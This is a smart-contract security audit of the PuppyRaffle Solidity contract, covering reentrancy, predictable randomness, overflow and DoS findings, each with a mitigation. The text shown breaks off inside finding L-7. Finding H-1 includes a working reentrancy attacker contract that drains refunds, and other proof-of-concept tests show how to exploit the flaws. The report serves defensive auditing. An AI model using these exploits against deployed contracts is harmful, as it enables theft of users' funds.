



PuppyRaffle Audit Report

Version 1.0

Albert Kacirek

November 3, 2025

Table of Contents

- Table of Contents
- Disclaimer
- Protocol Summary
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy vulnerability in `PuppyRaffle::refund` allows attackers to drain contract funds
 - * [H-2] Predictable randomness in `PuppyRaffle::selectWinner` allows manipulation of raffle results
 - * [H-3] Broken fee accounting due to 64-bit storage, unchecked arithmetic, and strict balance gate
 - PoC A — Overflow of `totalFees` locks withdrawals
 - PoC B — Unsafe downcast truncates large per-round fees
 - * [H-4] Arithmetic overflow in payment check (`enterRaffle`) enables underpayment in Solidity 0.7.x
 - Medium
 - * [M-1] Looping through an array of players to check for duplicates in `PuppyRaffle ::enterRaffle` allows DoS attack by increasing gas costs for all future entrants
 - * [M-2] Remainder (“dust”) mismatch in 80/20 split can desynchronize `totalFees` and contract balance
 - * [M-3] `selectWinner()` can revert if random index points to refunded slot (`address(0)`)
 - * [M-4] Use of `totalSupply()` without inheriting `ERC721Enumerable` causes runtime revert
 - * [M-5] Invalid JSON in `tokenURI` (missing quotes around string value)
 - * [M-6] Off-by-one bias in rarity distribution (4% legendary instead of 5%)
 - Low

-
- * [L-1] `abi.encodePacked()` with dynamic types can lead to hash collisions
 - * [L-2] Missing zero-address validation in constructor and `changeFeeAddress`
 - * [L-3] Centralization risk: owner can arbitrarily redirect fee revenue
 - * [L-4] Use of floating Solidity pragma (^0.7.6) can cause inconsistent compilation behavior
 - * [L-5] Events missing `indexed` parameters reduce off-chain traceability
 - * [L-6] Ambiguous return value in `PuppyRaffle::getActivePlayerIndex` can cause incorrect assumptions about player status
 - * [L-7] Missing CEI and reentrancy guard in `selectWinner()`
 - * [L-8] Missing zero-address validation for raffle entrants
 - Informational
 - * [I-1] Lack of NatSpec documentation for some functions and parameters
 - * [I-2] Inconsistent naming convention for state variables
 - * [I-3] Unused internal function `_isActivePlayer()` increases contract size and maintenance overhead
 - * [I-4] Missing and incomplete events reduce on-chain transparency and auditability
 - * [I-5] Block timestamp manipulation
 - * [I-6] Repeated use of magic numbers
 - * [I-7] Anyone can trigger `withdrawFees()`
 - Gas
 - * [G-1] Redundant storage reads for `players.length`
 - * [G-2] `raffleDuration` can be set as immutable
 - * [G-3] Use `external + calldata` for `enterRaffle` to save gas
 - * [G-4] `_baseURI()` override signature should match OpenZeppelin
 - Conclusion

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but assume no liability for the findings provided in this document. This security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Protocol Summary

This protocol runs a simple NFT raffle. People pay an ETH entry fee to join a round; entries are stored in an array. Once the timer is up, anyone can call `selectWinner()` to pick a winner, send ~80% of the pot to them, send ~20% to a fee address, and mint an NFT to the winner. The NFT has a rarity (common / rare / legendary) with base64-encoded on-chain metadata. The owner can change the fee recipient. No proxies or extra roles are involved — just `Ownable`.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings in this document correspond to this commit hash:

```
1 0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
1 ./src/PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The contract is not safe to deploy as-is. Four High-severity issues (reentrancy in refund, predictable randomness, broken fee accounting, and arithmetic overflow in payment checks) enable theft of funds, unfair outcomes, or permanent fee lockups. Six Medium issues and additional Low/Info/Gas items affect reliability, UX, and maintainability.

Issues found

Severity	Number of issues found
High	4
Medium	6
Low	8
Info	7
Gas	4
Total	29

Findings

High

[H-1] Reentrancy vulnerability in PuppyRaffle::refund allows attackers to drain contract funds

Description: The `PuppyRaffle::refund` function performs an external call (`sendValue`) to `msg.sender` before updating internal state. This violates the Checks-Effects-Interactions pattern, making the contract vulnerable to a reentrancy attack.

Specifically, during the refund, the function calls:

```
1 payable(msg.sender).sendValue(entranceFee);  
2 players[playerIndex] = address(0);
```

Because the refund executes before zeroing out the player's entry, a malicious contract can reenter `refund()` through its `fallback` or `receive()` function and request multiple refunds using the same index — effectively draining the entire contract balance.

The attacker's reentry can continue as long as the contract holds enough ETH to satisfy the `entranceFee`.

Impact: An attacker can repeatedly trigger `refund()` through a `receive` or `fallback` function and drain the entire contract balance, stealing all ETH deposited by other raffle participants. This results in a full loss of user funds held in the contract.

Severity is considered High because: 1) Funds from all players can be stolen. 2) The vulnerability exists in a core user-facing function. 3) It can be exploited in a single transaction.

Proof of Concept: The following Foundry test demonstrates the exploit. You can add the code below into your `PuppyRaffleTest.t.sol`:

```
1 function test_Reentrancy_On_Refund() public playersEntered {  
2     ReentrancyAttacker attackerContract = new ReentrancyAttacker(  
3         puppyRaffle);  
4     address attackUser = makeAddr("attackUser");  
5     vm.deal(attackUser, 1 ether);  
6     uint256 startingAttackerContractBalance = address(attackerContract)  
7         .balance;  
8     uint256 startingContractBalance = address(puppyRaffle).balance;  
9     // attack  
10    vm.prank(attackUser);  
11    attackerContract.attack{value: entranceFee}();
```

```

12     console.log("Starting contract balance:", startingContractBalance);
13     console.log("Starting attacker contract balance:",
14         startingAttackerContractBalance);
14     console.log("Post-attack contract balance:", address(puppyRaffle).  

15         balance);
15     console.log("Post-attack attacker contract balance:", address(  

16         attackerContract).balance);
16     console.log(  

17         "Attacker contract balance increase:", address(attackerContract  

18             ).balance - startingAttackerContractBalance
18 );
19 }
```

An attacker's contract:

```

1
2 contract ReentrancyAttacker {
3     PuppyRaffle public puppyRaffle;
4     uint256 public attackerIndex;
5     uint256 public entranceFee;
6
7     constructor(PuppyRaffle _puppyRaffle) {
8         puppyRaffle = _puppyRaffle;
9         entranceFee = puppyRaffle.entranceFee();
10    }
11
12    function attack() external payable {
13        address[] memory players = new address[](1);
14        players[0] = address(this);
15
16        puppyRaffle.enterRaffle{value: msg.value}(players);
17
18        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
19            ;
20        puppyRaffle.refund(attackerIndex);
21    }
22
23    receive() external payable {
24        if (address(puppyRaffle).balance >= entranceFee) {
25            puppyRaffle.refund(attackerIndex);
26        }
27    }
28 }
```

Then, you can run the test using `forge test --mt test_Reentrancy_On_Refund -vvv` (-vvv allows you to see `console.log` outputs).

When the test runs, you will see that: 1) The attacker's contract balance increases far beyond entranceFee. 2) The PuppyRaffle contract balance drops dramatically — showing that multiple refunds were triggered recursively. This confirms that the attacker successfully reentered and drained the contract.

Recommended Mitigation: To prevent `PuppyRaffle::refund` from a reentrancy attack, follow the Checks-Effects-Interactions (CEI) pattern and/or use OpenZeppelin's ReentrancyGuard. Move all internal state updates and event emissions before the external call, or use a modifier like `nonReentrant`:

```
1 import {ReentrancyGuard} from "@openzeppelin/contracts/security/
  ReentrancyGuard.sol";
2
3 contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
4     ...
5     function refund(uint256 playerIndex) external nonReentrant {
6         require(playerIndex < players.length, "Invalid index");
7
8         address playerAddress = players[playerIndex];
9         require(playerAddress == msg.sender, "Only player can refund");
10        require(playerAddress != address(0), "Already refunded");
11
12        // Update state before sending funds
13        players[playerIndex] = address(0);
14        emit RaffleRefunded(playerAddress);
15
16        // Perform external interaction last
17        payable(msg.sender).sendValue(entranceFee);
18    }
19 }
```

This ensures no further reentry is possible once the refund has been issued.

[H-2] Predictable randomness in `PuppyRaffle::selectWinner` allows manipulation of raffle results

Description: The `PuppyRaffle::selectWinner` function uses a weak and predictable randomness source to select the raffle winner:

```
1 uint256 winnerIndex =
2     uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
  block.difficulty))) % players.length;
```

This approach is not secure because all three values used (`msg.sender`, `block.timestamp`, and `block.difficulty`) are publicly known or miner/validator-controllable:

`msg.sender` — controlled by the transaction sender (the caller of `selectWinner`). `block.timestamp` — settable within a small range by the miner/validator. `block.difficulty` — also miner/validator-influenced and predictable within a block.

As a result, whoever calls `selectWinner` can repeatedly simulate or control the outcome (by observing or varying these parameters) to bias or fully predict the winner selection. This means a malicious user could wait until the raffle is about to end, locally calculate the hash off-chain to predict the winner, and only call `selectWinner` when the result favors them — or use multiple transactions in quick succession to brute-force the result.

Impact: Attackers can manipulate the raffle outcome to guarantee they (or an associated address) win the prize. This completely breaks the fairness of the raffle system and undermines trust in the contract.

Severity is High because: 1) Raffle randomness directly determines who receives the NFT and prize pool. 2) A malicious participant or miner/validator can predict or bias the winner selection.

The impact compromises the integrity of the entire raffle.

Proof of Concept: A Foundry test below can demonstrate this issue by simulating multiple `selectWinner` calls from different accounts and timestamps to show that a user can precompute the winning index off-chain:

```
1 function testPredictableWinner() public playersEntered {
2     // Advance time so the raffle can end
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5
6     // Compute the same "random" index the contract will use
7     // msg.sender here is this test contract, which will call
8     // selectWinner()
9     uint256 simulatedWinnerIndex =
10    uint256(keccak256(abi.encodePacked(address(this), block.
11    timestamp, block.difficulty))) % 4; // players.length == 4
12
13    // Read the predicted winner BEFORE selectWinner deletes the array
14    address predictedWinner = puppyRaffle.players(simulatedWinnerIndex)
15    ;
16
17    // Call selectWinner
18    puppyRaffle.selectWinner();
19
20    // Compare predicted vs actual
21    assertEq(puppyRaffle.previousWinner(), predictedWinner, "winner
22        should match predictable RNG");
23}
```

This test shows that the caller can deterministically predict the winner before calling `selectWinner`.

Recommended Mitigation: Use a secure and verifiable source of randomness, such as Chainlink VRF (Verifiable Random Function) or a commit-reveal scheme.

Using Chainlink VRF (recommended for production):

```

1 // Example pseudocode
2 function requestRandomness() external onlyOwner returns (bytes32
    requestId) {
3     return COORDINATOR.requestRandomWords(
4         keyHash,
5         subscriptionId,
6         requestConfirmations,
7         callbackGasLimit,
8         numWords
9     );
10 }
11
12 function fulfillRandomWords(uint256, uint256[] memory randomWords)
    internal override {
13     uint256 winnerIndex = randomWords[0] % players.length;
14     address winner = players[winnerIndex];
15     // continue with minting and prize logic...
16 }
```

Using commit-reveal (simpler but weaker):

Require players (or the owner) to commit a random seed hash before the raffle starts and later reveal the seed to derive a random result. This prevents the caller from knowing or manipulating the winner at the time of selection.

[H-3] Broken fee accounting due to 64-bit storage, unchecked arithmetic, and strict balance gate

Summary

`totalFees` is stored as a `uint64` and updated using unchecked arithmetic (Solidity ^0.7.6). In addition, `withdrawFees()` gates withdrawals with a strict `address(this).balance == totalFees` equality check. Together these choices break fee accounting in multiple ways: 1) `uint64 overflow` of cumulative fees corrupts bookkeeping and permanently bricks withdrawals.

- 2) **Unsafe downcast** from `uint256` to `uint64` silently truncates large per-round fees.
- 3) Even without (1) or (2), strict equality is fragile (e.g., rounding dust or forced ETH) and can permanently block withdrawals.

Affected code (excerpts)

```

1 uint64 public totalFees = 0;
2 // ...
3 uint256 fee = (totalAmountCollected * 20) / 100;
4 totalFees = totalFees + uint64(fee);
5 // ...
```

```
6 require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
There are currently players active!");
```

Root Cause - Use of **narrow 64-bit storage** for an ever-increasing monetary counter. - **Unchecked arithmetic** (Solidity 0.7.x) allows silent overflow/wrap. - **Downcast** `uint256` → `uint64` for `fee` causes truncation when `fee > type(uint64).max`. - **Fragile withdrawal gate** using exact balance equality, which is sensitive to rounding leftovers and stray ETH.

Impact - Permanent **DoS on fee withdrawals** after overflow or any desync between `balance` and `totalFees`. - **Silent mis-accounting** when truncation occurs, leading to stuck funds or under/over-reported fees. - Broken trust and inability to reconcile on-chain accounting.

PoC A — Overflow of totalFees locks withdrawals This test shows `totalFees` (`uint64`) wrapping while the contract balance continues to grow, making the equality check false forever.

```
1 function test_TotalFees_Uint64_Overflow_LocksFees() public {  
2     vm.deal(address(this), 1_000 ether);  
3     uint256 entranceFee = puppyRaffle.entranceFee();  
4     uint256 roundPlayers = 4;  
5     uint256 feePerRound = (roundPlayers * entranceFee * 20) / 100;  
6  
7     address[] memory entrants = new address[](roundPlayers);  
8     entrants[0] = address(11);  
9     entrants[1] = address(12);  
10    entrants[2] = address(13);  
11    entrants[3] = address(14);  
12  
13    // Choose rounds high enough to overflow uint64 when feePerRound is  
14    // sizable.  
15    uint256 rounds = 25;  
16  
17    for (uint256 i = 0; i < rounds; i++) {  
18        puppyRaffle.enterRaffle{value: entranceFee * roundPlayers}(  
19            entrants);  
20        vm.warp(block.timestamp + 1 days + 1);  
21        vm.roll(block.number + 1);  
22        puppyRaffle.selectWinner();  
23    }  
24  
25    uint256 actualFeeBalance = address(puppyRaffle).balance;  
26    uint256 expectedFeeBalance = feePerRound * rounds;  
27    assertEq(actualFeeBalance, expectedFeeBalance, "contract holds  
cumulative fees");  
28  
29    uint256 recordedFees = uint256(puppyRaffle.totalFees());
```

```

28     assertTrue(recordedFees != expectedFeeBalance, "uint64 overflow
29         corrupted totalFees");
30     vm.expectRevert("PuppyRaffle: There are currently players active!")
31         ;
32     puppyRaffle.withdrawFees(); // equality check fails forever
33 }
```

Why it works

`uint64 max = 1.84e19 wei.` With `entranceFee = 1 ether` and 4 players, each round accrues `0.8 ether` in fees. After ~24–25 rounds the cumulative sum exceeds `uint64` and wraps, while the contract balance remains correct, making `balance == totalFees` impossible.

PoC B — Unsafe downcast truncates large per-round fees This test demonstrates that for large rounds the per-round `fee` exceeds `uint64` and is truncated on cast, corrupting `totalFees` even before any cumulative overflow.

```

1 function test_FeeTruncation_UnsafeUint64Cast() public {
2     uint256 bigEntranceFee = type(uint64).max / 10; // near uint64
3         range
4     PuppyRaffle bigRaffle = new PuppyRaffle(bigEntranceFee, address(99)
5         , 1 days);
6
7     address[] memory entrants = new address[](4);
8     entrants[0] = address(11);
9     entrants[1] = address(12);
10    entrants[2] = address(13);
11    entrants[3] = address(14);
12
13    vm.deal(address(this), 1_000_000 ether);
14    bigRaffle.enterRaffle{value: bigEntranceFee * entrants.length}(
15        entrants);
16
17    vm.warp(block.timestamp + 1 days + 1);
18    vm.roll(block.number + 1);
19    bigRaffle.selectWinner(); // triggers uint256 -> uint64 cast
20
21    uint256 recordedFees = uint256(bigRaffle.totalFees());
22    uint256 expectedFees = (bigEntranceFee * 4 * 20) / 100;
23    assertTrue(recordedFees != expectedFees, "unsafe cast truncated fee
24        ");
25 }
```

Recommended Mitigations (apply all relevant items)

1. Upgrade to Solidity ^0.8.x for built-in checked arithmetic.
2. Store fees in `uint256` and remove narrowing casts: `solidity uint256 public totalFees; //... totalFees += fee; // fee is uint256`
3. Replace fragile equality gate with logical gating or inequality: - Track player activity explicitly (`activePlayers == 0`), **or** - Use `require(address(this).balance >= totalFees, "insufficient balance for fees")`.
4. Avoid rounding dust mismatches by computing one leg and subtracting: `solidity uint256 fee = (totalAmountCollected * 20) / 100; uint256 prizePool = totalAmountCollected - fee;`
5. (Optional) Emit an event when fees accrue and when withdrawing to improve off-chain monitoring.

[H-4] Arithmetic overflow in payment check (`enterRaffle`) enables underpayment in Solidity 0.7.x

Description:

In Solidity ^0.7.6, arithmetic is unchecked. The payment guard multiplies two `uint256` values without overflow checks:

```
1 require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:  
    Must send enough to enter raffle");
```

A large `newPlayers.length` can cause `entranceFee * newPlayers.length` to **overflow** and wrap to a small value, allowing an attacker to underpay while still inserting many entries. This also amplifies gas DoS risks and breaks downstream accounting.

Impact:

- Attackers can mass-insert players while paying less than intended.
- Distorts fee accounting and fairness; can facilitate DoS.

Recommended Mitigation:

- Upgrade to Solidity ^0.8.x for built-in overflow checks (preferred).
- If staying on 0.7.x, use SafeMath for the multiplication.
- Additionally, place an upper bound on `newPlayers.length` (e.g., `require(newPlayers.length <= MAX_BATCH)`).

Medium

[M-1] Looping through an array of players to check for duplicates in PuppyRaffle::enterRaffle allows DoS attack by increasing gas costs for all future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicate addresses. However, the larger the players array becomes, the more checks the new player has to make. Therefore, the gas cost will be higher each time. This means players who enter the raffle later will pay significantly more than players who entered the raffle earlier.

```
1  for (uint256 i = 0; i < players.length - 1; i++) {
2      for (uint256 j = i + 1; j < players.length; j++) {
3          require(players[i] != players[j], "PuppyRaffle: Duplicate
4              player");
5      }
}
```

Impact: The gas cost to enter the raffle will greatly increase as more players are already in the raffle, discouraging new players from joining. Eventually, the gas required to run `enterRaffle` may exceed the block gas limit, permanently preventing new entries and freezing the raffle. An attacker might join the `PuppyRaffle::players` many times using different addresses, making the array so big that the high gas cost for entry will disincentivize potential players to join, potentially guaranteeing the attacker to win.

Proof of Concept: The Foundry test below calls `PuppyRaffle::enterRaffle` several times with different numbers of players (`N`), but always with the same gas limit. For small `N`, the call succeeds. For large `N`, the call fails by running out of gas under the same limit. This test shows that the gas cost to enter the raffle grows quadratically with the number of players. To verify, place the test into `PuppyRaffleTest.t.sol`.

```
1 function _makeAddrs(uint256 n, uint256 offset) internal pure returns (
2     address[] memory arr) {
3     arr = new address[](n);
4     for (uint256 i = 0; i < n; i++) {
5         arr[i] = address(uint160(offset + i + 1));
6     }
7 }
8 function _enterWithN(uint256 n, uint256 gasLimit) internal returns (
9     bool ok) {
10    address[] memory arr = _makeAddrs(n, 10_000 + n);
11    bytes memory cd = abi.encodeWithSelector(puppyRaffle.enterRaffle.
12        selector, arr);
```

```

11     uint256 valueNeeded = entranceFee * arr.length;
12     (ok,) = address(puppyRaffle).call{gas: gasLimit, value: valueNeeded}
13         }(cd);
14 }
15 function testDoS_Gas_QuadraticDuplicateScan() public {
16     // 1) Make sure we can afford msg.value for large N even with 1e18
17     // fee
18     vm.deal(address(this), 1_000_000 ether);
19
20     // 2) Choose a single gas stipend and show "small passes / big
21     // fails"
22     uint256 GAS_LIMIT = 15_000_000; // tune if needed
23
24     // small N should pass
25     bool okSmall = _enterWithN(50, GAS_LIMIT);
26     assertTrue(okSmall, "small batch should fit in GAS_LIMIT");
27
28     // progressively larger N; at some point it should fail under the
29     // same stipend
30     uint256[5] memory Ns = [uint256(200), 400, 800, 1200, 1600];
31     bool seenFailure = false;
32     for (uint256 i = 0; i < Ns.length; i++) {
33         if (!_enterWithN(Ns[i], GAS_LIMIT)) {
34             seenFailure = true;
35             break;
36         }
37     }
38     assertTrue(seenFailure, "large batch should fail under same
39     GAS_LIMIT (quadratic scan DoS)");
40 }
```

Recommended Mitigation: There are a few options to overcome this issue:

- 1) Consider allowing duplicates. Since users can make new wallets and enter a raffle using multiple addresses, a duplicate check doesn't stop a person from entering a raffle multiple times.
- 2) If you wish to preserve the duplicate check, consider using a mapping to check for duplicates instead of a for loop:

```

1 mapping(address => bool) public isPlayer;
2
3 function enterRaffle(address[] calldata newPlayers) external payable {
4     uint256 n = newPlayers.length;
5     require(msg.value == entranceFee * n, "Incorrect payment");
6
7     // Validate first O(n) total)
8     for (uint256 i = 0; i < n; i++) {
9         address p = newPlayers[i];
10        require(p != address(0), "Invalid player");
11        require(!isPlayer[p], "Duplicate player");
```

```

12     }
13
14     // Commit changes
15     for (uint256 i = 0; i < n; i++) {
16         address p = newPlayers[i];
17         isPlayer[p] = true;
18         players.push(p);
19     }
20
21     emit RaffleEnter(newPlayers);
22 }
```

- 3) You can also consider using OpenZeppelin's [EnumerableSet](#) library: `EnumerableSet`
-

[M-2] Remainder (“dust”) mismatch in 80/20 split can desynchronize `totalFees` and contract balance

Description: In `selectWinner()`, the prize and fee amounts are calculated using integer division:

```

1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee      = (totalAmountCollected * 20) / 100;
```

Because Solidity truncates fractional remainders toward zero, any leftover wei from the division (when `totalAmountCollected` is not exactly divisible by 100) remains unaccounted for in either pool. These “dust” amounts accumulate in the contract balance but are **not included** in `totalFees`.

Impact:

- Over time, residual wei accumulate in the contract.
- The equality check in `withdrawFees()`:

```

1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

will fail because `address(this).balance > totalFees` due to the untracked remainder.

- This blocks fee withdrawals even without overflow or deliberate griefing.

Recommended Mitigation:

- Allocate the leftover wei explicitly to one of the parties, or adjust logic to include it:

```

1 uint256 fee = (totalAmountCollected * 20) / 100;
2 uint256 prizePool = totalAmountCollected - fee; // avoids rounding dust
```

- Replace the strict equality check with a `>=` comparison or track player activity separately.

[M-3] `selectWinner()` can revert if random index points to refunded slot (`address(0)`)

Description:

When a player refunds, their slot in the `players` array is set to `address(0)`:

```
1 players[playerIndex] = address(0);
```

However, `selectWinner()` later picks the winner index using:

```
1 uint256 winnerIndex = ... % players.length;
2 address winner = players[winnerIndex];
```

No check ensures that `winner` is non-zero. If the RNG lands on an empty slot, `_safeMint(winner, tokenId)` will revert because minting to `address(0)` is invalid.

This means any user can **grief the raffle** by refunding and leaving holes, increasing the probability that `selectWinner()` reverts and preventing progress.

Impact:

- Anyone can DoS `selectWinner()` after refunding, halting raffle completion.
- Funds remain locked in the contract until a manual intervention (upgrade, redeploy, or state reset).

Recommended Mitigation:

Filter or repack the array before winner selection:

```
1 function selectWinner() external {
2     // Build a list of active players only
3     address[] memory activePlayers = new address[](players.length);
4     uint256 count = 0;
5     for (uint256 i = 0; i < players.length; i++) {
6         if (players[i] != address(0)) {
7             activePlayers[count++] = players[i];
8         }
9     }
10    require(count >= 4, "Need at least 4 active players");
11    uint256 winnerIndex = uint256(keccak256(...)) % count;
12    address winner = activePlayers[winnerIndex];
13    ...
14 }
```

Alternatively, maintain an `activePlayers` mapping or compact the array after each refund.

[M-4] Use of `totalSupply()` without inheriting `ERC721Enumerable` causes runtime revert

Description:

The contract calls `totalSupply()` inside `selectWinner()` to derive a new token ID:

```
1 uint256 tokenId = totalSupply();
```

However, the contract inherits only from `ERC721`, not from `ERC721Enumerable`.

OpenZeppelin's base `ERC721` (v3.x–v4.x) **does not implement `totalSupply()`**, so this call will revert or fail to compile depending on version.

Impact:

- Contract deployment or execution fails due to missing function.
- `selectWinner()` cannot mint NFTs, halting raffle functionality.
- Breaks expected ERC721 behavior unless manually extended.

Recommended Mitigation:

Implement token ID tracking manually or inherit from `ERC721Enumerable`:

Option 1 – Use `ERC721Enumerable`:

```
1 import {ERC721Enumerable} from "@openzeppelin/contracts/token/ERC721/
  extensions/ERC721Enumerable.sol";
2
3 contract PuppyRaffle is ERC721Enumerable, Ownable { ... }
```

Option 2 – Track token IDs internally:

```
1 uint256 private _nextTokenId;
2
3 function selectWinner() external {
4     uint256 tokenId = _nextTokenId++;
5     _safeMint(winner, tokenId);
6 }
```

Either approach ensures consistent token ID management and prevents runtime errors.

[M-5] Invalid JSON in `tokenURI` (missing quotes around string value)

Description:

`tokenURI()` constructs JSON where the "value" for the `rarity` attribute is concatenated **without quotes**, yielding invalid JSON for marketplaces:

```
1  "attributes": [{"trait_type": "rarity", "value": ' , rareName, '}], ...  
  '
```

Impact:

- Marketplaces and indexers may reject metadata; NFTs may not render correctly.

Recommended Mitigation:

Wrap `rareName` in quotes and avoid manual concatenation errors:

```
1  "", "attributes": [{"trait_type": "rarity", "value": "' , rareName, '"}], "  
  "image": "' , imageURI, '"'
```

Consider a small JSON builder/helper to reduce string-concat mistakes.

[M-6] Off-by-one bias in rarity distribution (4% legendary instead of 5%)**Description:**

With `r = hash % 100` and the current bounds:

```
1  if (r <= 70) { common }          // 71%  
2  else if (r <= 95) { rare }      // 25%  
3  else { legendary }             // 4%
```

Legendary ends up at **4%** instead of the intended 5%.

Impact:

- Rarity odds deviate from documented expectations.

Recommended Mitigation:

Use strict < thresholds against cumulative sums:

```
1  if (r < 70) { common }          // 70%  
2  else if (r < 95) { rare }      // 25%  
3  else { legendary }             // 5%
```

Low

[L-1] `abi.encodePacked()` with dynamic types can lead to hash collisions

Description:

The contract uses `abi.encodePacked()` when hashing multiple parameters inside functions such as `selectWinner()` and `tokenURI()`:

```
1 keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty));
```

While in this specific case all parameters are fixed-size types, `abi.encodePacked()` can cause hash collisions if any dynamic data type (e.g., `string`, `bytes`) is later added. This can result in identical hashes for different inputs, especially if the data types or number of parameters change during future contract upgrades.

Impact:

- Risk of future hash collisions if the function's parameters evolve to include dynamic types.
- Reduced maintainability and safety in encoding logic.

Proof of Concept:

A simplified example demonstrating the issue:

```
1 // These two produce the same result
2 keccak256(abi.encodePacked("AA", "B"));
3 keccak256(abi.encodePacked("A", "AB"));
```

Both hash to the same value because `abi.encodePacked` concatenates the bytes directly.

Recommended Mitigation:

Use `abi.encode()` instead of `abi.encodePacked()` for hashing multiple variables.

Example fix:

```
1 uint256 winnerIndex =
2     uint256(keccak256(abi.encode(msg.sender, block.timestamp, block.difficulty))) % players.length;
```

This ensures type padding and removes collision risk.

[L-2] Missing zero-address validation in constructor and `changeFeeAddress`

Description:

The constructor and the `changeFeeAddress()` function allow setting `feeAddress` to the zero

address without validation:

```
1 feeAddress = _feeAddress;
2 ...
3 feeAddress = newFeeAddress;
```

Impact:

If the fee address is ever set to `address(0)`, protocol fees will be irrecoverably locked in the contract. Since `withdrawFees()` sends funds directly to `feeAddress`, any future withdrawals would fail silently or send to an invalid destination.

Proof of Concept:

1. Deploy the contract with `_feeAddress = address(0)`.
2. Run a few raffles to accumulate `totalFees`.
3. Call `withdrawFees()`.
→ The transaction will succeed but send funds to `address(0)`, permanently burning them.

Recommended Mitigation:

Add explicit zero-address checks:

```
1 require(_feeAddress != address(0), "Invalid fee address");
2 ...
3 require(newFeeAddress != address(0), "Invalid new fee address");
```

[L-3] Centralization risk: owner can arbitrarily redirect fee revenue

Description:

The contract owner can change the `feeAddress` at any time through the `changeFeeAddress()` function:

```
1 function changeFeeAddress(address newFeeAddress) external onlyOwner {
2     feeAddress = newFeeAddress;
3     emit FeeAddressChanged(newFeeAddress);
4 }
```

This means that the owner (or an entity controlling the owner account) can redirect future fees to any address, including a personal one.

Impact:

- Introduces a **trust assumption** that the contract owner behaves honestly.
- Compromises decentralization and transparency if the project promises trustlessness.
- Fee recipients can be changed after deployment, potentially surprising users or investors.

Recommended Mitigation:

- Document the trust model clearly in the project's documentation.
 - For stronger guarantees, use a **multi-signature wallet** for ownership actions, or a **DAO-controlled** address for fee management
-

[L-4] Use of floating Solidity pragma (^0.7.6) can cause inconsistent compilation behavior

Description:

The contract specifies a floating pragma version:

```
1 pragma solidity ^0.7.6;
```

This allows any compiler version from 0.7.6 up to (but not including) 0.8.0 to compile the contract. Different compiler patch versions can introduce behavioral or optimization changes, potentially altering bytecode or security guarantees.

Impact:

- Inconsistent results across different compiler environments.
- Potential incompatibility with dependencies if compiled under mismatched versions.
- Future builds might unknowingly differ from tested ones.

Recommended Mitigation:

Use an exact compiler version for deterministic builds:

```
1 pragma solidity 0.7.6;
```

Or, if possible, upgrade the contract to a modern checked-arithmetic compiler (^0.8.0).

[L-5] Events missing indexed parameters reduce off-chain traceability

Description:

Events such as `RaffleEnter`, `RaffleRefunded`, and `FeeAddressChanged` do not use indexed fields:

```
1 event RaffleEnter(address[] newPlayers);
2 event RaffleRefunded(address player);
3 event FeeAddressChanged(address newFeeAddress);
```

Without indexing, these events are harder to filter or search by address in off-chain tools like Etherscan or The Graph.

Impact:

- Reduced efficiency and reliability of off-chain monitoring.
- Makes it more difficult to track participant entries, refunds, or fee changes.

Recommended Mitigation:

Index address fields for easier querying:

```
1 event RaffleEnter(address[] newPlayers); // cannot index arrays
2 event RaffleRefunded(address indexed player);
3 event FeeAddressChanged(address indexed newFeeAddress);
```

Note: Only scalar fields (non-arrays) can be indexed.

[L-6] Ambiguous return value in PuppyRaffle::getActivePlayerIndex can cause incorrect assumptions about player status

Description: The `PuppyRaffle::getActivePlayerIndex` function returns 0 both when the queried player is the first player in the array and when the player is not active (i.e., not found in the array). This makes it impossible for external callers to distinguish between a valid player at index 0 and a non-existent player.

Impact: Off-chain systems or users relying on this function may misinterpret the return value and assume an active player is inactive. For example: A UI could incorrectly show that the first entrant has been removed. Scripts using the index for refunds could fail or refund the wrong user. The ambiguity can mislead users or external systems, potentially blocking refunds or misrepresenting raffle participation.

Proof of Concept:

```
1 // Suppose players = [0xAlice, 0xBob, 0xCarol]
2
3 // Alice is at index 0
4 uint256 idxAlice = puppyRaffle.getActivePlayerIndex(0xAlice); // returns 0
5
6 // Dave is not a player
7 uint256 idxDave = puppyRaffle.getActivePlayerIndex(0xDave); // also returns 0
8 // Ambiguity: both cases produce 0
```

Recommended Mitigation: Modify the function to clearly indicate whether a player is active, for example by returning a (`bool found`, `uint256 index`) tuple or using a sentinel value such as `type(uint256).max` when a player is not found.

Option 1 - return a tuple:

```
1 function getActivePlayerIndex(address player) external view returns (
    bool found, uint256 index) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == player) {
4             return (true, i);
5         }
6     }
7     return (false, 0);
8 }
```

Option 2 - use a sentinel value:

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == player) {
4             return i;
5         }
6     }
7     // use max uint256 to clearly indicate "not found"
8     return type(uint256).max;
9 }
```

Either solution eliminates ambiguity and ensures external consumers can safely interpret the function's result.

[L-7] Missing CEI and reentrancy guard in `selectWinner()`

Description:

`selectWinner()` performs an external call to the `winner` and then mints via `_safeMint`, which can invoke external hooks (`onERC721Received`) on untrusted contracts. While array deletion helps, CEI is not strictly followed and there is no `nonReentrant` protection.

Impact:

- Low-likelihood but non-zero risk of reentrancy-related surprises via ERC721 receiver hooks or future code changes.

Recommended Mitigation:

